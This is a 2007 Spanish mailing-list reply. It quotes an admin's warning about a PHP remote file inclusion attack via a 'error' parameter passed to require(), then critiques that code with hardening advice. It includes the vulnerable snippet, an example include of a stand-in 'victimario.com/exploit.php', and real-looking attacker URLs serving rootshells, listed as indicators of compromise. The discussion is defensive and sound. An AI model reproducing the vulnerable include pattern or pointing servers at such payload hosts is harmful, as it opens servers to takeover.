Alerta Vulnerabilidad en PHP - tener mucho cuidado

Rodrigo Fuentealba darkprox en gmail.com
Dom Ago 26 14:10:09 CLT 2007


El 26/08/07, Miguel Oyarzo O. <admin en aim.cl> escribió:
>
> Estimados
>
> Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga
> de escripts via archivos PHP mal programados.

¿Es una vulnerabilidad de PHP o una vulnerabilidad programada en PHP?

> La variable que el atacante busca es "error". MEdiante ella el lammer descarga
> shellcode que le da acceso al sistema de archivos y abre una backdoor en
> servidores windows y Linux
>
> Codigo PHP que contenga

Analicemos el código, para que quienes programan en PHP no cometan tal
clase de errores:

> <?

Se debe utilizar "<?php" (sin comillas) al principio, y dejar en
php.ini el valor de short_open_tag en Off.

(Sí, ya se que varios programan con <?, pero hay quienes usan páginas
con XHTML 1.1 y que declaran su XML al principio con <?xml
version="1.0"?> y luego le echan la culpa al del hosting del por qué
no funcionan sus páginas)

> if (isset($_GET['error'])) {

¿Así, sin validar nada? ¿Dónde está el "is_int, is_string, is_array"?
¿o el preg_match, para validar que lo que yo traigo por método $_GET
es realmente algo que me sirva?

> require($_REQUEST["error"] );

Falta: "if(file_exists())" para que compruebe que el archivo existe.
Para que lo busque localmente, falta un realpath(), que compruebe el
path real de tu archivo; para que vea si existe dentro de la máquina

En el php.ini, los valores recomendados para producción son
allow_url_fopen = Off (aunque éste hay quien lo deja en On, para poder
comunicarse con otras máquinas, leer XML y esas cosas) y
allow_url_include = Off

Jamás debemos permitir cosas como:
require_once("http://www.victimario.com/exploit.php"); en nuestra
aplicación. Si aún así queremos hacerlo, para mashups y cosas así,
algo "un poco" más seguro es poner la dirección URL nosotros mismos.
Pero sólo un poco, nada nos asegura que en
http://www.sitioqueconfio.cl/rss.php alguien vaya a poner una
vulnerabilidad parecida.

> ?>

De cuatro líneas, ésta última está perfecta. No tiene ninguna
vulnerabilidad... Gran cosa :P

> esta expuesto

Comprendo el por qué varios acá no gustan del lenguaje PHP, porque es
muy fácil para un novato (e inclusive alguien que se dedique un poco
más) escribir código basura sin mucho esfuerzo. Además, PHP es un
lenguaje bastante extendido. Todo lo barato que puede ser hacer un
sitio Web en PHP se va a la basura. (Hay cosas bastante similares:
utilizar SQL sin validar previamente puede llevar a una pérdida de
datos demasiado grande)

> Busquen en sus archivos uno de los sitios desde donde descargan los
> troyanos y los shellcode.
>
> ====> masterz.altervista.org
>
> observen el codigo q usan
>
> http://masterz.altervista.org/a
> http://masterz.altervista.org/b   (carga rootshell y crea interfaz web de
> control remoto)
> http://masterz.altervista.org/c
>
> Si encuentran esto en sus log ya tienen comprometido el sistema.
>
> Espero que les sea de utilidad la info

De hecho, muchas gracias por tu aviso.

>
> Slaudos,
>
> Miguel Oyarzo O,.
> Austro Internet
> Punta Arenas

-- 
Rodrigo Fuentealba Cartes
Desarrollador de Sistemas - Consultor UNIX - Database Administrator



Más información sobre la lista de distribución Linux